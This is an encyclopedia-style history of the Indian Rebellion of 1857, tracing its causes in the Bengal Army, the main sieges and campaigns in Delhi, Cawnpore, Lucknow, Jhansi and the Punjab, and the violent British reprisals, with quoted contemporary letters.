          Each of the three "Presidencies" into which the East India Company divided India for administrative purposes, maintained their own armies. Of these, the Army of the Bengal Presidency was the largest. Unlike the other two, it recruited heavily from among high-caste Hindus (and comparatively wealthy Muslims). The Muslims formed a larger percentage of the Irregular units within the Bengal army, whilst Hindus were mainly to be found in the regular units. The sepoys (the native Indian soldiers) were therefore affected to a large degree by the concerns of the landholding and traditional members of Indian society. In the early years of the Company rule, the British tolerated and even encouraged the caste privileges and customs within the Bengal Army, which recruited its regular soldiers almost exclusively amongst the landowning Bhumihar Brahmins and Rajputs of the Ganges Valley. By the time these customs and privileges came to be threatened by modernizing regimes in Calcutta from the 1840s onwards, the sepoys had become accustomed to very high ritual status, and were extremely sensitive to suggestions that their caste might be polluted..


          The sepoys also gradually became dissatisfied with various other aspects of army life. Their pay was relatively low and after Awadh and the Punjab were annexed, the soldiers no longer received extra pay (batta or bhatta) for service there, because they were no longer considered "foreign missions". The junior British officers were increasingly estranged from their soldiers, in many cases treating them as their racial inferiors. Officers of an evangelical persuasion in the Company's Army (such as Herbert Edwardes and Colonel S.G. Wheler of the 34th Bengal Infantry) had taken to preaching to their Sepoys in the hope of converting them to Christianity. In 1856, a new Enlistment Act was introduced by the Company, which in theory made every unit in the Bengal Army liable to service overseas. (Although it was intended to apply to new recruits only, the Sepoys feared that the Act might be applied retrospectively to them also. It was argued that a high-caste Hindu who travelled in the cramped, squalid conditions of a troopship would find it impossible to avoid losing caste through ritual pollution.)


          In 1857, the controversy over the new Pattern 1853 Enfield Rifle, in the eyes of many Sepoys, added substance to the alarming rumours circulating about their imminent forced conversion to Christianity. To load the new rifle, the sepoys had to bite the cartridge open. It was believed that the cartridges that were standard issue with the rifle were greased with lard (pork fat) which was regarded as unclean by Muslims, or tallow (beef fat), regarded as sacred to Hindus..


          British officers first became aware of the impending trouble over the cartridges in January, when they received reports of an altercation between a high-caste sepoy and a low-caste labourer at Dum Dum. The labourer had taunted the sepoy that by biting the cartridge, he had himself lost caste, although at this time the Dum-Dum arsenal had not actually started to produce the new round, nor had a single practice shot fired. On January 27 Colonel Richard Birch (the Military Secretary) ordered that all cartridges issued from depots were to be free from grease, and that Sepoys could grease them themselves using whatever mixture they may prefer. This however, merely caused many Sepoys to be convinced that the rumours were true and that their fears were justified. Around the same time a rumour circulated that the British were contaminating the flour issued to sepoys with ground down cow and pig bone..


          


          Onset of the Rebellion


          Several months of increasing tension and inflammatory incidents preceded the actual rebellion. Fires, possibly the result of arson, broke out near Calcutta on 24 January 1857. On February 26, 1857 the 19th Bengal Native Infantry (BNI) regiment came to know about new cartridges and refused to use them. Their Colonel confronted them angrily with artillery and cavalry on the parade ground, but then accepted their demand to withdraw the artillery, and cancel the next morning's parade.


          


          Mangal Pandey
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          On March 29, 1857 at the Barrackpore (now Barrackpur) parade ground, near Calcutta, 29-year-old Mangal Pandey of the 34th BNI, angered by the recent actions by the British, declared that he would rebel against his commanders. When his adjutant Lt. Baugh came out to investigate the unrest, Pandey opened fire but hit his horse instead.


          General John Hearsey came out to see him on the parade ground, and claimed later that Mangal Pandey was in some kind of "religious frenzy". He ordered a Jemadar Ishwari Prasad to arrest Mangal Pandey, but the Jemadar refused. The whole regiment with the single exception of a soldier called Shaikh Paltu drew back from restraining or arresting Mangal Pandey. Shaikh Paltu restrained Pandey from continuing his attack.


          Mangal Pandey, after failing to incite his comrades into an open and active rebellion, tried to take his own life by placing his musket to his chest, and pulling the trigger with his toe. He only managed to wound himself, and was court-martialled on April 6. He was hanged on April 8.


          The Jemadar Ishwari Prasad too was sentenced to death and hanged on April 22. The whole regiment was disbanded -- stripped of their uniforms because it was felt that they harboured ill-feelings towards their superiors, particularly after this incident. Shaikh Paltu was, however, promoted to the rank of Jemadar in the Bengal Army.


          Sepoys in other regiments thought this a very harsh punishment. The show of disgrace while disbanding contributed to the extent of the rebellion in view of some historians, as disgruntled ex-sepoys returned home to Awadh with a desire to inflict revenge, as and when the opportunity arose.


          April saw fires at Agra, Allahabad and Ambala. At Ambala in particular, which was a large military cantonment where several units had been collected for their annual musketry practice, it was clear to General Anson, Commander-in-Chief of the Bengal Army, that some sort of riot over the cartridges was imminent. Despite the objections of the Governor-General's staff, he agreed to postpone the musketry practice, and allow the new drill by which the soldiers tore the cartridges with their fingers rather than their teeth. Rather than remain at Ambala to defuse or overawe potential trouble, Anson then proceeded to Simla, the cool "hill station" where many high officials spent the summer.


          Although there was no open revolt at Ambala, there was widespread incendiarism during late April. Barrack buildings (especially those belonging to soldiers who had used the Enfield cartridges) and European officers' bungalows were set on fire.


          


          Meerut and Delhi


          At Meerut was another large military cantonment. Stationed there were 2,357 Indian sepoys and 2,038 British troops with 12 British-manned guns. Although the state of unrest within the Bengal Army was well known, on April 24, the unsympathetic commanding officer of the 3rd Bengal Light Cavalry ordered 90 of his men to parade and perform firing drills. All but 5 of the men on parade refused to accept their cartridges. On May 9, the remaining 85 men were court martialled, and most were sentenced to 10 years' imprisonment with hard labour. Eleven comparatively young soldiers were given 5 years' imprisonment. The entire garrison was paraded and watched as the condemned men were stripped of their uniforms and placed in shackles. As they were marched off to jail, the condemned soldiers berated their comrades for failing to support them.


          The next day was Sunday. Some Indian soldiers warned junior British officers that plans were afoot to release the imprisoned soldiers by force, but the senior officers took no action. There was also unrest in the city of Meerut itself, with angry protests in the bazaar and some buildings being set on fire.. In the evening, most British officers were preparing to attend Church, while many of the British soldiers were off duty and had gone into canteens or into the bazaar in Meerut. The Indian troops, led by the 3rd Cavalry, broke into revolt. British junior officers who attempted to quell the first outbreaks were killed by their own men. British officers' and civilians' quarters were attacked, and 4 civilian men, 8 women and 8 children died. Crowds in the bazaar also attacked the off-duty soldiers there. The sepoys freed their 85 imprisoned comrades from the jail, along with 800 other prisoners (debtors and criminals).


          Some sepoys (especially from the 11th Bengal Native Infantry) escorted trusted British officers and women and children to safety before joining the revolt. Some officers and their families escaped to Rampur, where they found refuge with the Nawab. About 50 Indian civilians (some of whom were officers' servants who tried to defend or conceal their employers) were also killed by the sepoys.. Exaggerated tales of the number and manner of death of British who died during the uprising at Meerut were later to provide a pretext for British forces to commit extremely violent reprisals against innocent Indian civilians and rebellious sepoys alike during the later suppression of the Revolt.


          The senior British officers, in particular Major General Hewitt, the commander of the division (who was nearly seventy years old and in poor health), were slow to react. The British troops (mainly the 1st Battalion of the 60th Rifles and two European-manned batteries of the Bengal Artillery) rallied, but received no orders to engage the rebels and could only guard their own headquarters and armouries. When, on the morning of May 11 they prepared to attack, they found Meerut was quiet and the rebels had marched off to Delhi.


          That same morning, the first parties of the 3rd Cavalry reached Delhi. From beneath the windows of the King's apartments in the palace, they called on him to acknowledge and lead them. Bahadur Shah did nothing at this point, but others in the palace were quick to join the revolt. During the day, the revolt spread. British officials and dependents, Indian christians and shop keepers within the city were attacked, some by sepoys and others by crowds of rioters. Up to fifty were said to have been killed by some of the King's servants under a peepul tree in a courtyard outside the palace..


          There were three battalions of Bengal Native Infantry stationed in or near the city. Some detachments quickly joined the rebellion, while others held back but also refused to obey orders to take action against the rebels. In the afternoon, a violent explosion in the city was heard for several miles. Fearing that the arsenal, which contained large stocks of arms and ammunition, would fall intact into rebel hands, the nine British Ordnance officers there had opened fire on the sepoys, including the men of their own guard. When resistance appeared hopeless, they blew up the arsenal. Although six of the nine officers survived, the blast killed many in the streets and nearby houses and other buildings. The news of these events finally tipped the sepoys stationed around Delhi into open rebellion. The sepoys were later able to salvage at least some arms from the arsenal, and a magazine two miles outside Delhi, containing up to 3,000 barrels of gunpowder, was captured without resistance.


          Many fugitive British officers and civilians had congregated at the Flagstaff Tower on the ridge north of Delhi, where telegraph operators were sending news of the events to other British stations. When it became clear that no help could arrive, they made their way in carriages to Karnal. Those who became separated from the main body or who could not reach the Flagstaff Tower also set out for Karnal on foot. Some were helped by villagers on the way, others were robbed or murdered.


          The next day, Bahadur Shah held his first formal court for many years. It was attended by many excited or unruly sepoys. The King was alarmed by the turn events had taken, but eventually accepted the sepoys' allegiance and agreed to give his countenance to the rebellion.


          


          Support and opposition
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          The rebellion now spread beyond the armed forces, but it did not result in a complete popular uprising across India. The Indian side was not completely unified. While Bahadur Shah Zafar was restored to the imperial throne there was a faction that wanted the Maratha rulers to be enthroned as well, and the Awadhis wanted to retain the powers that their Nawab used to have.


          The war was mainly centred in northern and central areas of India. Delhi, Lucknow, Cawnpore, Jhansi, Bareilly, Arrah and Jagdishpur were the main centres of conflict. The Bhojpurias of Arrah and Jagdishpur supported the Marathas. The Marathas, Rohillas and the Awadhis supported Bahadur Shah Zafar and were against the British.


          There were calls for jihad by Muslim leaders like Maulana Fazl-e-Haq Khairabadi including the millenarian Ahmedullah Shah, taken up by the Muslims, particularly Muslim artisans, which caused the British to think that the Muslims were the main force behind this event. In Awadh, Sunni Muslims did not want to see a return to Shiite rule, so they often refused to join what they perceived to be a Shia rebellion. However, some Muslims like the Aga Khan supported the British. The British rewarded him by formally recognizing his title. The Mughal emperor, Bahadur Shah, resisted these calls because, it has been suggested, he feared outbreaks of communal violence.


          In Thana Bhawan, the Sunnis declared Haji Imdadullah their Ameer. In May 1857 the Battle of Shamli took place between the forces of Haji Imdadullah and the British.


          The Sikhs and Pathans of the Punjab and North-West Frontier Province supported the British and helped in the capture of Delhi. Some historians have suggested that the Sikhs wanted to avenge the annexation of Punjab 8 years earlier by the British with the help of Purbhais (Bengalis and Marathis - Easterner) who helped the British.


          In 1857, the Bengal Army had 12,000 British, 16,000 Punjabi and 1,500 Gurkha soldiers (Out of a total of (for the three Indian armies) 311,000 native troops (of which a total of 86,000 men were in the Bengal army) and 40,160 European troops (as well as 5,362 Officers) . Fifty-four of the Bengal Army's seventy-five regular Native Infantry Regiments rebelled, although some were immediately destroyed or broke up with their sepoys drifting away to their homes. Almost all the remainder were disarmed or disbanded to prevent or forestall rebellions. All ten of the Bengal Light Cavalry regiments rebelled.


          The Bengal Army also included twenty-nine Irregular Cavalry and forty-two Irregular Infantry regiments. These included a substantial contingent from the recently annexed state of Awadh, which rebelled en masse. Another large contingent from Gwalior also rebelled, even though that state's ruler remained allied to the British. The remainder of the Irregular units were raised from a wide variety of sources and were less affected by the concerns of mainstream Indian society. Three bodies in particular actively supported the British; three Gurkha and five (of six) Sikh infantry units, and the six infantry and six cavalry units of the recently-raised Punjab Irregular Force.


          On April 1, 1858, the number of Indian soldiers loyal (within the Bengal army) to the British was 80,053. This total however, included a large number of soldiers hastily raised in the Punjab and North-West Frontier after the outbreak of the Rebellion.


          The Bombay army had three mutinies in its 29 regiments whilst the Madras army had no mutinies though elements of one of its 52 regiments refused to volunteer for service in Bengal.


          Most of southern India remained passive with only sporadic and haphazard outbreaks of violence. Most of the states did not take part in the war as many parts of the region were ruled by the Nizams or the Mysore royalty and were thus not directly under British rule.


          


          The Revolt


          


          Initial stages


          Bahadur Shah Zafar proclaimed himself the Emperor of the whole of India. Most contemporary and modern accounts however suggest that he was coerced by the sepoys and his courtiers - against his own will - to sign the proclamation. The civilians, nobility and other dignitaries took the oath of allegiance to the Emperor. The Emperor issued coins in his name, one of the oldest ways of asserting Imperial status, and his name was added to the Khutbah, the acceptance by Muslims that he is their King. This proclamation, however, turned the Sikhs of Punjab away from the rebellion, as they did not want to return to Islamic rule, having fought many wars against the Mughal rulers.


          The province of Bengal was quiet throughout the entire period. At that time, Bengal was the province where the British had implemented many of their 'modernizing' concepts, and it had many intellectuals who were well educated and aware of what was going on around the world.


          Initially, the Indian soldiers were able to significantly push back Company forces, and captured several important towns in Haryana, Bihar, Central Provinces and the United Provinces. When the British were reinforced and began to counterattack, the sepoys who mutinied were especially handicapped by their lack of a centralised command and control system. Although they produced some natural leaders such as Bakht Khan (whom the Emperor later nominated as commander-in-chief after his son Mirza Mughal proved ineffectual), for the most part they were forced to look for leadership to rajahs and princes. Some of these were to prove dedicated leaders, but others were self-interested or inept.


          Rao Tularam of Haryana along with Pran Sukh Yadav fought with the British Army at Nasibpur and then went to collect arms from Russia which had just been in a war with the British in the Crimea, but he died on the way. When a tribal leader from Peshawar sent a letter offering help, the king replied that he should not come to Delhi because the treasury was empty and the army had become uncontrollable.


          


          Delhi


          The British were slow to strike back at first. It would take time for troops stationed in Britain to make their way to India by sea, although some regiments moved overland through Persia from the Crimean War, and some regiments already en route for China were diverted to India.


          It took time to organise the British troops already in India into field forces, but eventually two columns left Meerut and Simla. They proceeded slowly towards Delhi and fought, killed, and hanged numerous Indians along the way. Eventually, two months after the first outbreak of rebellion at Meerut, the two forces met near Karnal. The combined force (which included two Gurkha units serving in the Bengal Army under contract from the Kingdom of Nepal), fought the main army of the rebels at Badli-ke-Serai and drove them back to Delhi.


          The British established a base on the Delhi ridge to the north of the city and the Siege of Delhi began. The siege lasted roughly from July 1 to September 21. However, the encirclement was hardly complete, and for much of the siege the British were outnumbered and it often seemed that it was the British and not Delhi that was under siege, and the rebels could easily receive resources and reinforcements. For several weeks, it seemed that disease, exhaustion and continuous sorties by rebels from Delhi would force the British to withdraw, but the outbreaks of rebellion in the Punjab were forestalled or suppressed, allowing the Punjab Movable Column of British, Sikh and Pakhtun soldiers under John Nicholson to reinforce the besiegers on the Ridge on August 14.


          An eagerly-awaited heavy siege train also joined the besieging force, and from September 7, the siege guns battered breaches in the walls and silenced the rebels' artillery. An attempt to storm the city through the breaches and the Kashmiri gate was launched on September 14. The attackers gained a foothold within the city but suffered heavy casualties, including John Nicholson. The British commander wished to withdraw, but was persuaded to hold on by his junior officers. After a week of street fighting, the British reached the Red Fort. Bahadur Shah had already fled to Humayun's tomb. The British had retaken the city.


          The troops of the besieging force proceeded to loot and pillage the city. A large number of the citizens were butchered in retaliation for the Europeans and Indian 'collaborators' that had been slaughtered by the rebel sepoys. Artillery was set up in the main mosque in the city and the neighbourhoods within the range of artillery were bombarded. These included the homes of the Muslim nobility from all over India, and contained innumerable cultural, artistic, literary and monetary riches. An example would be the loss of most of the works of Mirza Asadullah Khan Ghalib, thought of as the greatest Indian poet of that era.


          The British soon arrested Bahadur Shah, and the next day British officer William Hodson shot his sons Mirza Mughal, Mirza Khizr Sultan, and grandson Mirza Abu Bakr under his own authority at the Khooni Darwaza (the bloody gate) near Delhi Gate. Their heads were reportedly presented to Bahadur Shah the next day.


          Shortly after the fall of Delhi, the victorious attackers organised a column which relieved another besieged British force in Agra, and then pressed on to Cawnpore, which had also recently been recaptured. This gave the British a continuous, although still tenuous, line of communication from the east to west of India.


          


          Cawnpore (Kanpur)
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          In June, sepoys under General Wheeler in Cawnpore, (now known as Kanpur) rebelled and besieged the European entrenchment. Wheeler was not only a veteran and respected soldier, but also married to a high-caste Indian lady. He had relied on his own prestige, and his cordial relations with the Nana Sahib to thwart rebellion, and took comparatively few measures to prepare fortifications and lay in supplies and ammunition.


          The British endured three weeks of the Siege of Cawnpore with little water or food, suffering continuous casualties to men, women and children. On June 25 Nana Sahib offered fairly generous surrender terms, and Wheeler had little choice but to accept. The Nana Sahib agreed to let them have safe passage to Allahabad but on June 27 when the British left their fortified barrack buildings to board the promised riverboats, firing broke out. Who fired first has remained a matter of debate.


          The Indians claim that the British had already boarded the boats and Tatya Tope raised his right hand to signal their departure. That very moment someone from the crowd blew a loud bugle which created disorder and in the ongoing bewilderment, the boatmen jumped off the boats. British soldiers and officers still had their arms and ammunition and they fired shots at these boatmen. The rebels lost all patience and started shooting indiscriminately. Nana Sahib, who was momentarily staying in Savada Kothi ( Bungalow) nearby, got the message and immediately came to stop it. The remaining men were, however, killed to ensure no further unrest.


          The British claim that during the march to the boats, loyal sepoys were removed by the mutineers and lynched along with any British officer or soldier that attempted to help them, although these attacks were ignored in an attempt to reach the boats safely. After firing began the boats' pilots fled, setting fire to the boats, and the rebellious sepoys opened fire on the British soldiers and civilians. One boat with over a dozen wounded men initially escaped, but later grounded, was caught by mutineers and pushed back down the river towards the carnage at Cawnpore. The female occupants were removed and taken away as hostages and the men, including the wounded and elderly, were hastily put against a wall and shot. Only four men eventually escaped alive from Cawnpore on one of the boats: two privates (both of whom died later during the Rebellion), a Lieutenant, and Captain Mowbray Thomson, who wrote a firsthand account of his experiences entitled The Story of Cawnpore (London) 1859.


          The surviving women and children from the massacre by the river were led to the Bibi-Ghar (the House of the Ladies) in Cawnpore. On the July 15, with British forces approaching Cawnpore and some believing that they would not advance if there were no hostages to save, their murders were ordered. Another motive for these killings was to ensure that no information was leaked to the British after the fall of Cawnpore. Other historians have suggested that the killings were an attempt to undermine Nana Sahib's relationship with the British. After the sepoys refused to carry out this order, Two Muslim Butchers, Two Hindu Peasants and one of Nana body guards went into the Bibi-Ghar where they proceeded to kill the hostages with Tulwars . The dead and the dying were then thrown down a nearby well.


          The killing of the women and children proved to be a mistake. The British public was aghast and the pro-Indian proponents lost all their support. Cawnpore became a war cry for the British and their allies for the rest of the conflict. The Nana Sahib disappeared near the end of the Rebellion and it is not known what happened to him.


          Other British accounts state that indiscriminate punitive measures were taken in early June, two weeks before the murders at the Bibi-Ghar (but after those at both Merrut and Delhi), specifically by Lieutenant Colonel James George Smith Neill of the Madras Fusiliers (a European unit), commanding at Allahabad while moving towards Cawnpore. At the nearby town of Fatehpur, it was alleged that a mob had murdered the local British population. On this pretext, Neill explicitly ordered all villages beside the Grand Trunk Road to be burned, and their inhabitants to be hanged. Neill's methods were "ruthless and horrible" and may well have induced previously undecided sepoys and communities to revolt.


          Neill was killed in action at Lucknow on September 26 and was never called to account for his punitive measures, though contemporary British sources lionised Neill and his "gallant blue caps". By contrast with the actions of soldiers under Neill, the behaviour of most rebel soldiers was creditable. "Our creed does not permit us to kill a bound prisoner", one of the matchlockmen explained, "though we can slay our enemy in battle."


          When the British retook Cawnpore later, the soldiers took their sepoy prisoners to the Bibi-Ghar and forced them to lick the bloodstains from the walls and floor. They then hanged or "blew from the cannon" the majority of the sepoy prisoners. Although some claimed the sepoys took no actual part in the killings themselves, they did not act to stop it and this was acknowledged by Captain Thompson after the British departed Cawnpore for a second time.


          


          Lucknow
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          Very soon after the events in Meerut, rebellion erupted in the state of Awadh (also known as Oudh, in modern-day Uttar Pradesh), which had been annexed barely a year before. The British Commissioner resident at Lucknow, Sir Henry Lawrence, had enough time to fortify his position inside the Residency compound. The British forces numbered some 1700 men, including loyal sepoys. The rebels' initial assaults were unsuccessful, and so they began a barrage of artillery and musket fire into the compound. Lawrence was one of the first casualties. The rebels tried to breach the walls with explosives and bypass them via underground tunnels that led to underground close combat. After 90 days of siege, numbers of British were reduced to 300 loyal sepoys, 350 British soldiers and 550 non-combatants.


          On September 25 a relief column under the command of Sir Henry Havelock and accompanied by Sir James Outram (who in theory was his superior) fought its way from Cawnpore to Lucknow in a brief campaign in which the numerically small column defeated rebel forces in a series of increasingly large battles. This became known as 'The First Relief of Lucknow', as this force was not strong enough to break the siege or extricate themselves, and so was forced to join the garrison. In October another, larger, army under the new Commander-in-Chief, Sir Colin Campbell, was finally able to relieve the garrison and on the November 18, they evacuated the defended enclave within the city, the women and children leaving first. They then conducted an orderly withdrawal to Cawnpore, where they defeated an attempt by Tatya Tope to recapture the city in the Second Battle of Cawnpore.


          Early in 1858, Campbell once again advanced on Lucknow with a large army, this time seeking to suppress the rebellion in Awadh. He was aided by a large Nepalese contingent advancing from the north under Jang Bahadur, who decided to side with the British in December 1857. Campbell's advance was slow and methodical, and drove the large but disorganised rebel army from Lucknow with few casualties to his own troops. This nevertheless allowed large numbers of the rebels to disperse into Awadh, and Campbell was forced to spend the summer and autumn dealing with scattered pockets of resistance while losing men to heat, disease and guerilla actions.


          


          Jhansi


          Jhansi was a Maratha-ruled princely state in Bundelkhand. When the Raja of Jhansi died without a male heir in 1853, it was annexed to the British Raj by the Governor-General of India under the Doctrine of lapse. His widow, Rani Lakshmi Bai, protested that she had not been allowed to adopt a successor, as per Indian custom.


          When war broke out, Jhansi quickly became a centre of the rebellion. A small group of British officials and their families took refuge in Jhansi's fort, and the Rani negotiated their evacuation. However, when they left the fort, they were massacred by the rebels. Although the treachery might have occurred without the Rani's consent, the British suspected her of complicity, despite her protestations of innocence.


          By the end of June 1857, the British had entirely lost control of much of Bundelkhand and eastern Rajastan. The Bengal Army units in the area, having rebelled, marched to take part in the battles for Delhi and Cawnpore. The many princely states which made up this area began warring amongst themselves. In September and October 1857, the Rani led the successful defence of Jhansi against the invading armies of the neighbouring rajas of Datia and Orchha.


          In March 1858, the Central India Field Force, led by Sir Hugh Rose, advanced on and laid siege to Jhansi. The British captured the city, but the Rani fled in disguise.


          After being driven from Jhansi and Kalpi, on June 1, 1858 Rani Lakshmi Bai and a group of Maratha rebels captured the fortress city of Gwalior from the Scindia rulers, who were British allies. This might have reinvigorated the rebellion but the Central India Field Force very quickly advanced against the city. The Rani died on June 17, the second day of the Battle of Gwalior probably killed by a carbine shot from the 8th Hussars, according to the account of three independent Indian representatives. The British recaptured Gwalior within the next three days. In descriptions of the scene of her last battle, she was compared to Joan Of Arc by some commentators.


          


          Punjab


          What was then referred to by the British as the Punjab was in fact a very large administrative division, centred on Lahore. It included not only the present-day Indian and Pakistani Punjabi regions but also the North West Frontier districts bordering Afghanistan.


          Much of the region had been the Sikh kingdom, ruled by Ranjit Singh until his death in 1839. The kingdom had then fallen into disorder, with court factions and the Khalsa (the Sikh army) contending for power at the Lahore Durbar (court). After two Anglo-Sikh Wars, the entire region was annexed by the East India Company in 1849. In 1857, the region still contained the highest numbers of both British and Indian troops.


          The inhabitants of the Punjab were not as sympathetic to the sepoys as they were the areas from which many of them were raised, which limited many of the outbreaks to disjointed uprisings by regiments of sepoys isolated from each other. In some garrisons, notably Ferozepore, indecision on the part of the senior British officers allowed the sepoys to rebel, but the sepoys then left the area, mostly heading for Delhi. At the most important garrison, that of Peshawar close to the Afghan frontier, many comparatively junior officers ignored their nominal commander (the elderly General Reed) and took decisive action. They intercepted the sepoys' mail, thus preventing their coordinating an uprising, and formed a force known as the "Punjab Movable Column" to move rapidly to suppress any revolts as they occurred. When it became clear from the intercepted correspondence that some of the sepoys at Peshawar were on the point of open revolt, the four most disaffected Bengal Native regiments were disarmed by the two British infantry regiments in the cantonment, backed by artillery, on May 22. This decisive act induced many local chieftains to side with the British.


          Some regiments in frontier garrisons subsequently rebelled, but became isolated among hostile Pakhtun villages and tribes. There were several mass executions, amounting to several hundred, of sepoys from units which rebelled or who deserted in the Punjab and North West Frontier provinces during June and July. The British had been recruiting irregular units from Sikh and Pakhtun communities even before the first unrest among the Bengal units, and the numbers of these were greatly increased during the Rebellion.


          At one stage, faced with the need to send troops to reinforce the besiegers of Delhi, the Commissioner of the Punjab suggested handing the coveted prize of Peshawar to Dost Mohammed Khan of Afghanistan in return for a pledge of friendship. The British Agents in Peshawar and the adjacent districts were horrified. Referring to the massacre of a retreating British army in 1840, Herbert Edwardes wrote, "Dost Mahomed would not be a mortal Afghan ... if he did not assume our day to be gone in India and follow after us as an enemy. Europeans cannot retreat - Kabul would come again." In the event, Lord Canning insisted on Peshawar being held, and Dost Mohammed, whose relations with Britain had been equivocal for over twenty years, remained neutral.


          The final large-scale military uprising in the Punjab took place on July 9, when most of a brigade of sepoys at Sialkot rebelled and began to move to Delhi. They were intercepted by John Nicholson with an equal British force as they tried to cross the Ravi River. After fighting steadily but unsuccessfully for several hours, the sepoys tried to fall back across the river but became trapped on an island. Three days later, Nicholson annihilated the 1100 trapped sepoys in the Battle of Trimmu Ghat.


          In the countryside of the Punjab, Mohar Singh, a Khalsa army veteran, declared openly in Bahadur Shah Zafar's favour, going so far as to declare a Khalsa-Mughal Raj in Ropar. It has been argued by some Indian historians that only the cis-Sutlej Sikhs (from the area east of the River Chenab, outside the original Sikh kingdom) supported the British; but even so, in 1858 at Dera Ismail Khan in present-day Pakistan, the 10th Sikh Infantry revolted -- British officers and Patiala, Nabha, Jind rulers state on record that they could not trust their soldiers, and that even cis-Sutlej Sikhs were 'getting excited by news from Awadh and the Hindustani areas.'


          
            	Jhelum
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          Jhelum in Punjab was also a centre of resistance against the British. Here 35 British soldiers of HM XXIV regiment died on 7 July 1857. To commemorate this victory St. John's Church Jhelum was built and the names of those 35 British soldiers are carved on a marble lectern present in that church.


          


          Murree and Hazara


          The War against the British reached Murree and the Southern Areas of Hazara part of which is now known as Circle Bakote in July 1857 when the Dhond Abbasi leader Sardar Sherbaz Khan planned to attack the British. Sardar Khan had managed to obtain the backing of the following important tribal leaders.


          
            	Satti leader Sardar Borha Khan


            	Karhal leader Sardar Hasan Ali Khan


            	Sardar Lalli Khan and Mian Abdul Aziz of Birote


            	Sardar Resham Khan of Ponch Kashmir

          


          However the revolt did not succeed. The rebels were betrayed and as punishment, all of Sardar Sherbaz Khan's eight sons were blasted (by cannon fire) in Murree while Sardar Khan himself was hanged. The masterminds of this plan of independence were two Seyed brothers from Dhoke Syedan of Dewal Sharif. Not everyone had been against British rule, before British rule had been established in this area, the tribes had fought against the Sikh army. Under the command of the Pir of Plasi they had fought against the Sikh Army in Balakot - the troops here were commanded by Seyed Shah Ismail Shahid and Syed Ahmad Shaheed (known as the martyrs). Pir of Dewal Sharif late Abdul Majid Ahmed grandfather had also embraced martyrdom in Dewal fighting against Sikhs army chief Hari Singh Nalwa. Nalwa's troops had brutally crushed the tribes of Circle Bakote and beheaded many of them. The British, after battling in Rawalpindi in 1845 had captured Rani Jindan, the widow of Ranjit Singh (the former Ruler of Punjab) - this then caused the collapse of Sikh rule, when the British marched into the Murree area all the local tribes initially welcomed them with roses. Within a short space of time, many of the tribes then felt they had exchanged one form occupation for another one, and it was events elsewhere in India which encouraged the uprising. However the British had recruited many of the tribes in this area into their army, for example in this area large numbers of the Satti Tribe were recruited as Sepoys into the British Army and the British commanders (like elsewhere across Colonial India) won this war largely by the use of native infantry.


          


          Rest of India


          The Rohillas centred in Bareilly were also very active in the war and this area was amongst the last to be recaptured by the British, after Campbell had finally quelled resistance in Awadh.


          The rebellion in [Bihar] and the districts around Benares was also finally overcome about the same time. In the early days of the rebellion, British control was quickly lost, but the Bengal Army units stationed in the area broke up and dispersed to their homes. The area was largely bypassed by the British as they concentrated on Awadh. Eventually, following the recapture of Lucknow, the scattered bands of rebels were suppressed and British authority reimposed.


          Within the Bombay Presidency, there were uprisings among Bombay army units in Kolhapur, Satara, Karachi, Bombay, Aurangabad, Nasirabad, and Ahmedabad, and the Maharashtra-Gujarat-Karnataka risings. One Hindu and one Muslim sepoys were blown apart from a cannon's mouth, in what today stands as Mumbai's Azad Maidan. The mutinies in the Bombay Army were nevertheless quickly put down, and two two regiments were disbanded.


          During the 1858 Konkan-West Coast guerrilla fight, which stretched from Raigad and Ratnagiri to Savantwadi, and then onto Udupi and Mangalore, Mahar, Maratha, Kannada and Tulu warriors fought shoulder to shoulder. Nearly every Indian district, whether in the UP-Bihar-MP belt, or Orissa, or Assam-Bengal, or West India, also shows a pattern of 'one Hindu, one Muslim' martyr.


          In Maharashtra, Pathans and Arabs figure prominently in the 1857 Khandesh (Nasik-Jalgaon-Dhule) struggles launched by Bhils and Kolis. In Karnataka, the Gulbarga, Dharwar, Raichur risings saw Lingayat-Ramoshi-Maratha-Muslim participation.


          In Ayodhya, at the site where the Babri Masjid was demolished, Mahant Ramdas and Maulavi Amir Ali, as well as Shambhu Prasad Shukla and Achchan Khan, two religious Hindus and two religious Muslims, were hanged side by side.


          It is commonly states that the Madras army and the Madras Presidency was bereft of risings, yet in Madras, at a place called Vaniyambadi, full of Labbai Muslims, the 8th Madras Cavalry rose. Elsewhere, led by Thevar-Vellala sepoys. Then in Vellore, in 1858, Madras army sepoys killed their British officers.


          In the Andhra-Telangana country, Girijan tribes of the coastal-Godavery belt rose under a Reddi leader and a Muslim-Pathan ex-soldier; in Adibalad and Warangal, and Cuddapah and Nellore in Rayalseema, Pathans and Sheikhs formed a small army with Gond and Kapu help.


          In Kerala, Moplah agitators, helped by Ezhavas, the Kerala scheduled castes, and Namboodri Brahmins, staged risings in the Malabar region.


          


          Aftermath


          The Crown awarded 182 of the newly instituted Victoria Cross to soldiers who had fought in India during the period of the rebellion; the Crimean War gained 111 in a similar period.


          


          Retaliation  "The Devil's Wind"
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          From the end of 1857, the British had begun to gain ground again. Lucknow was retaken in March 1858. On 8 July 1858, a peace treaty was signed and the war ended. The last rebels were defeated in Gwalior on 20 June 1858. By 1859, rebel leaders Bakht Khan and Nana Sahib had either been slain or had fled. As well as hanging mutineers, the British had some "blown from cannon"; an old Mughal (also "Mogul" in English) punishment adopted many years before in India. A method of execution midway between firing squad and hanging but more demonstrative; sentenced rebels were set before the mouth of cannons and blown to pieces. It was a crude and brutal war, with both sides resorting to what would now be described as war crimes. In the end, however, in terms of sheer numbers, the casualties were significantly higher on the Indian side. A letter published after the fall of Delhi in the "Bombay Telegraph" and subsequently reproduced in the British press testified to the scale and nature of the retaliation:


          
            .... All the city people found within the walls (of the city of Delhi) when our troops entered were bayoneted on the spot, and the number was considerable, as you may suppose, when I tell you that in some houses forty and fifty people were hiding. These were not mutineers but residents of the city, who trusted to our well-known mild rule for pardon. I am glad to say they were disappointed.

          


          Another brief letter from General Montgomery to Captain Hodson, the conqueror of Delhi exposes how the British military high command approved of the cold blooded massacre of Delhites: "All honour to you for catching the king and slaying his sons. I hope you will bag many more!"


          Another comment on the conduct of the British soldiers after the fall of Delhi is of Captain Hodson himself in his book, Twelve years in India: "With all my love for the army, I must confess, the conduct of professed Christians, on this occasion, was one of the most humiliating facts connected with the siege." (Hodson was killed during the recapture of Lucknow in early 1858).


          Edward Vibart, a nineteen year-old officer, also recorded his experience:


          
            
              It was literally murder... I have seen many bloody and awful sights lately but such a one as I witnessed yesterday I pray I never see again. The women were all spared but their screams on seeing their husbands and sons butchered, were most painful... Heaven knows I feel no pity, but when some old grey bearded man is brought and shot before your very eyes, hard must be that man's heart I think who can look on with indifference...

            

          


